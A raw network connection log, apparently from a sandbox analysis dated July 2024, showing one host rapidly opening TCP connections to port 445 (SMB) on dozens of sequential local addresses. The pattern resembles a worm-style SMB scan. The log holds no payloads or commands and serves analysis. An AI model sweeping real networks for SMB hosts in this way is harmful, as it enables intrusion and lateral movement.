Jul 6, 2024 14:11:21.685148001 CEST	49931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:21.689599037 CEST	445	49929	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:21.689640999 CEST	49929	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:21.689845085 CEST	445	49929	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:21.690084934 CEST	445	49930	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:21.691006899 CEST	445	49930	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:21.691960096 CEST	445	49931	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:21.692011118 CEST	49931	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:21.694447994 CEST	49932	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:21.694647074 CEST	445	49929	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:21.697156906 CEST	49933	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:21.699415922 CEST	445	49932	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:21.699476004 CEST	49932	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:21.699564934 CEST	49932	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:21.702076912 CEST	445	49933	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:21.704675913 CEST	49933	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:21.704675913 CEST	49933	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:21.705214977 CEST	445	49932	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:21.705235004 CEST	445	49932	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:21.710355043 CEST	49934	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:21.710519075 CEST	445	49933	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:21.710566998 CEST	49933	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:21.715786934 CEST	445	49934	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:21.715874910 CEST	49934	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:21.715980053 CEST	49934	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:21.720921040 CEST	445	49934	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:21.720977068 CEST	49934	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:21.721843004 CEST	445	49934	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:21.725727081 CEST	49935	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:21.725778103 CEST	49936	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:21.726957083 CEST	49937	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:21.730674028 CEST	445	49935	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:21.730732918 CEST	49935	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:21.730813980 CEST	49935	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:21.730984926 CEST	445	49936	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:21.731811047 CEST	49936	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:21.731811047 CEST	49936	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:21.732464075 CEST	445	49937	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:21.732523918 CEST	49937	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:21.735778093 CEST	445	49935	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:21.738039017 CEST	445	49936	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:21.738377094 CEST	445	49936	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:21.739007950 CEST	445	49937	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:21.739054918 CEST	49937	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:21.741631985 CEST	49937	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:21.743757010 CEST	49938	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:21.748189926 CEST	445	49937	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:21.748964071 CEST	445	49938	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:21.749037027 CEST	49938	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:21.749128103 CEST	49938	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:21.755201101 CEST	445	49938	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:21.755646944 CEST	49938	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:21.759887934 CEST	49939	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:21.765669107 CEST	445	49939	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:21.766957998 CEST	49939	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:21.766957998 CEST	49939	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:21.772553921 CEST	49940	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:21.773431063 CEST	49941	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:21.777498007 CEST	445	49939	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:21.777549982 CEST	49939	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:21.778779030 CEST	445	49940	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:21.778790951 CEST	445	49941	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:21.778848886 CEST	49940	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:21.778947115 CEST	49940	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:21.778949976 CEST	49941	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:21.779089928 CEST	49941	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:21.784203053 CEST	445	49940	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:21.784305096 CEST	445	49940	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:21.784548998 CEST	445	49941	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:21.784615040 CEST	49941	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:21.788814068 CEST	49943	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:21.789043903 CEST	49942	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:21.793803930 CEST	445	49943	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:21.793872118 CEST	49943	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:21.793998003 CEST	49943	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:21.795600891 CEST	445	49942	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:21.795870066 CEST	49942	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:21.795871019 CEST	49942	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:21.799089909 CEST	445	49943	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:21.799202919 CEST	49943	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:21.799213886 CEST	445	49943	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:21.800890923 CEST	445	49942	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:21.800898075 CEST	445	49942	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:21.804554939 CEST	49945	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:21.806233883 CEST	49944	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:21.809446096 CEST	445	49945	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:21.811487913 CEST	445	49944	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:21.813920975 CEST	49944	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:21.813920975 CEST	49944	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:21.816436052 CEST	49945	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:21.816436052 CEST	49945	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:21.818994999 CEST	445	49944	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:21.819139957 CEST	445	49944	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:21.821394920 CEST	49946	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:21.821465015 CEST	445	49945	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:21.821542025 CEST	49945	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:21.822856903 CEST	49947	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:21.826709986 CEST	445	49946	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:21.827639103 CEST	445	49947	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:21.827723026 CEST	49946	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:21.830586910 CEST	49947	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:21.832149029 CEST	49946	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:21.832237959 CEST	49947	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:21.833209991 CEST	445	49946	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:21.833280087 CEST	49946	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:21.835396051 CEST	49948	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:21.835815907 CEST	445	49947	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:21.835881948 CEST	49947	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:21.837795973 CEST	445	49946	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:21.837924957 CEST	445	49947	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:21.838634968 CEST	445	49946	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:21.840631962 CEST	445	49948	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:21.840698957 CEST	49948	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:21.840806961 CEST	49948	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:21.845803976 CEST	445	49948	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:21.845859051 CEST	49948	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:21.850651979 CEST	49949	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:21.850791931 CEST	49950	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:21.851146936 CEST	49951	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:21.855511904 CEST	445	49949	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:21.855576038 CEST	49949	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:21.855693102 CEST	49949	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:21.856080055 CEST	445	49950	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:21.856091976 CEST	445	49951	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:21.856157064 CEST	49950	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:21.856194973 CEST	49950	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:21.856198072 CEST	49951	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:21.856319904 CEST	49951	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:21.860811949 CEST	445	49949	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:21.860858917 CEST	49949	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:21.860878944 CEST	445	49949	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:21.860986948 CEST	445	49950	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:21.861144066 CEST	445	49950	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:21.861154079 CEST	445	49951	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:21.861211061 CEST	49951	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:21.865681887 CEST	445	49949	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:21.866414070 CEST	49952	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:21.866671085 CEST	49953	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:21.871362925 CEST	445	49952	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:21.871470928 CEST	49952	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:21.871542931 CEST	49952	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:21.871728897 CEST	445	49953	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:21.871790886 CEST	49953	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:21.871867895 CEST	49953	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:21.876442909 CEST	445	49952	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:21.876501083 CEST	49952	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:21.876534939 CEST	445	49952	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:21.877393961 CEST	445	49953	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:21.877445936 CEST	49953	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:21.877603054 CEST	445	49953	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:21.881248951 CEST	445	49952	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:21.882379055 CEST	49954	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:21.887232065 CEST	445	49954	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:21.887326956 CEST	49954	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:21.887422085 CEST	49954	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:21.893542051 CEST	445	49954	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:21.893599987 CEST	49954	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:21.898498058 CEST	49955	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:21.903383017 CEST	445	49955	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:21.903456926 CEST	49955	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:21.903568983 CEST	49955	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:21.910691977 CEST	445	49955	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:21.913183928 CEST	49956	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:21.913387060 CEST	49957	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:21.913667917 CEST	49958	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:21.919887066 CEST	445	49955	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:21.920229912 CEST	49955	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:21.920275927 CEST	445	49956	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:21.920284986 CEST	445	49957	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:21.920293093 CEST	445	49958	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:21.920351028 CEST	49956	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:21.920378923 CEST	49958	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:21.920378923 CEST	49957	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:21.920423031 CEST	49956	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:21.920515060 CEST	49957	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:21.920846939 CEST	49958	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:21.928061008 CEST	445	49956	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:21.928553104 CEST	445	49957	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:21.928585052 CEST	445	49956	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:21.929084063 CEST	445	49958	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:21.929255962 CEST	49959	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:21.930869102 CEST	445	49957	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:21.931135893 CEST	49958	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:21.931135893 CEST	49960	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:21.934758902 CEST	445	49959	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:21.934829950 CEST	49959	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:21.934910059 CEST	49959	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:21.936359882 CEST	445	49960	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:21.936429977 CEST	49960	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:21.936506033 CEST	49960	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:21.939969063 CEST	445	49959	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:21.940799952 CEST	445	49959	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:21.944756031 CEST	49961	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:21.946021080 CEST	445	49960	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:21.946082115 CEST	49960	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:21.949930906 CEST	445	49961	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:21.950001955 CEST	49961	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:21.950093031 CEST	49961	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:21.955492020 CEST	445	49961	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:21.955554962 CEST	49961	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:21.960071087 CEST	49962	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:21.960206985 CEST	49963	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:21.960720062 CEST	49964	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:21.966686010 CEST	445	49962	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:21.966753006 CEST	49962	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:21.966835976 CEST	49962	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:21.967072010 CEST	445	49963	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:21.967133999 CEST	49963	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:21.967195988 CEST	445	49964	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:21.967242956 CEST	49964	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:21.967343092 CEST	49963	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:21.967467070 CEST	49964	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:21.972063065 CEST	445	49962	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:21.972570896 CEST	445	49962	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:21.972922087 CEST	445	49963	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:21.973272085 CEST	445	49963	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:21.974733114 CEST	445	49964	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:21.975188017 CEST	49964	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:21.979604959 CEST	49965	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:21.984992027 CEST	445	49965	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:21.985605955 CEST	49965	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:21.985605955 CEST	49965	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:21.991228104 CEST	49966	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:21.991275072 CEST	49967	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:21.994740009 CEST	445	49965	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:21.995558023 CEST	445	49965	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:21.996223927 CEST	445	49966	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:21.996294975 CEST	49965	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:21.996499062 CEST	445	49967	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:21.999201059 CEST	49968	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:21.999201059 CEST	49966	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:21.999201059 CEST	49966	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:21.999201059 CEST	49967	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:21.999201059 CEST	49967	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:22.004031897 CEST	445	49968	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:22.004092932 CEST	49968	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:22.004183054 CEST	49968	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:22.005698919 CEST	445	49966	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:22.005944014 CEST	445	49967	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:22.006445885 CEST	445	49967	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:22.007002115 CEST	49969	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:22.008167982 CEST	49971	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:22.008531094 CEST	49970	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:22.010740042 CEST	445	49968	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:22.011946917 CEST	445	49969	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:22.012007952 CEST	49969	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:22.012101889 CEST	49969	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:22.013334036 CEST	445	49971	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:22.013370037 CEST	445	49970	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:22.013395071 CEST	49971	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:22.013412952 CEST	49970	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:22.013464928 CEST	49971	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:22.013586998 CEST	49970	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:22.016865015 CEST	445	49969	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:22.018651962 CEST	445	49970	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:22.018682957 CEST	445	49971	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:22.019593954 CEST	445	49968	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:22.019643068 CEST	49968	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:22.021303892 CEST	445	49969	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:22.021498919 CEST	445	49971	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:22.021574020 CEST	445	49970	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:22.025279999 CEST	49971	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:22.025279999 CEST	49972	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:22.030278921 CEST	445	49972	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:22.031547070 CEST	49972	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:22.031547070 CEST	49972	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:22.038058996 CEST	445	49972	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:22.038115978 CEST	49972	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:22.038259983 CEST	49974	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:22.038464069 CEST	49975	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:22.041169882 CEST	49973	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:22.044826984 CEST	445	49974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:22.044846058 CEST	445	49975	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:22.044883966 CEST	49974	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:22.044920921 CEST	49975	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:22.045002937 CEST	49975	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:22.045042992 CEST	49974	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:22.046164036 CEST	445	49973	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:22.046376944 CEST	49973	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:22.046376944 CEST	49973	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:22.049849987 CEST	445	49974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:22.049971104 CEST	445	49974	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:22.050334930 CEST	445	49975	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:22.050546885 CEST	49975	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:22.053863049 CEST	445	49973	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:22.053904057 CEST	49976	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:22.054208040 CEST	445	49973	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:22.062103987 CEST	445	49976	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:22.062171936 CEST	49976	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:22.062299967 CEST	49976	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:22.067290068 CEST	445	49976	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:22.068413019 CEST	49976	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:22.069452047 CEST	49977	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:22.069823027 CEST	49979	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:22.071716070 CEST	49978	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:22.074490070 CEST	445	49977	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:22.074707031 CEST	49977	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:22.074742079 CEST	445	49979	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:22.074892044 CEST	49977	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:22.075269938 CEST	49979	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:22.075269938 CEST	49979	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:22.077960968 CEST	445	49978	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:22.079222918 CEST	49978	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:22.079222918 CEST	49978	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:22.079946041 CEST	445	49977	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:22.079956055 CEST	445	49977	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:22.080086946 CEST	49977	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:22.080744982 CEST	445	49979	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:22.081618071 CEST	49979	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:22.084183931 CEST	445	49978	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:22.084603071 CEST	445	49978	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:22.084955931 CEST	445	49977	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:22.086704016 CEST	49980	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:22.091607094 CEST	445	49980	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:22.092015982 CEST	49980	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:22.092015982 CEST	49980	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:22.097337961 CEST	445	49980	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:22.099263906 CEST	49980	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:22.100747108 CEST	49981	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:22.101038933 CEST	49982	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:22.105597019 CEST	445	49981	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:22.105664015 CEST	49981	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:22.105736971 CEST	49981	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:22.106064081 CEST	445	49982	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:22.106225014 CEST	49982	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:22.106225014 CEST	49982	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:22.110599995 CEST	445	49981	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:22.110626936 CEST	445	49981	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:22.111115932 CEST	445	49982	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:22.111226082 CEST	49982	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:22.116355896 CEST	49983	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:22.116507053 CEST	49984	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:22.121318102 CEST	445	49983	192.168.0.49	192.168.2.6
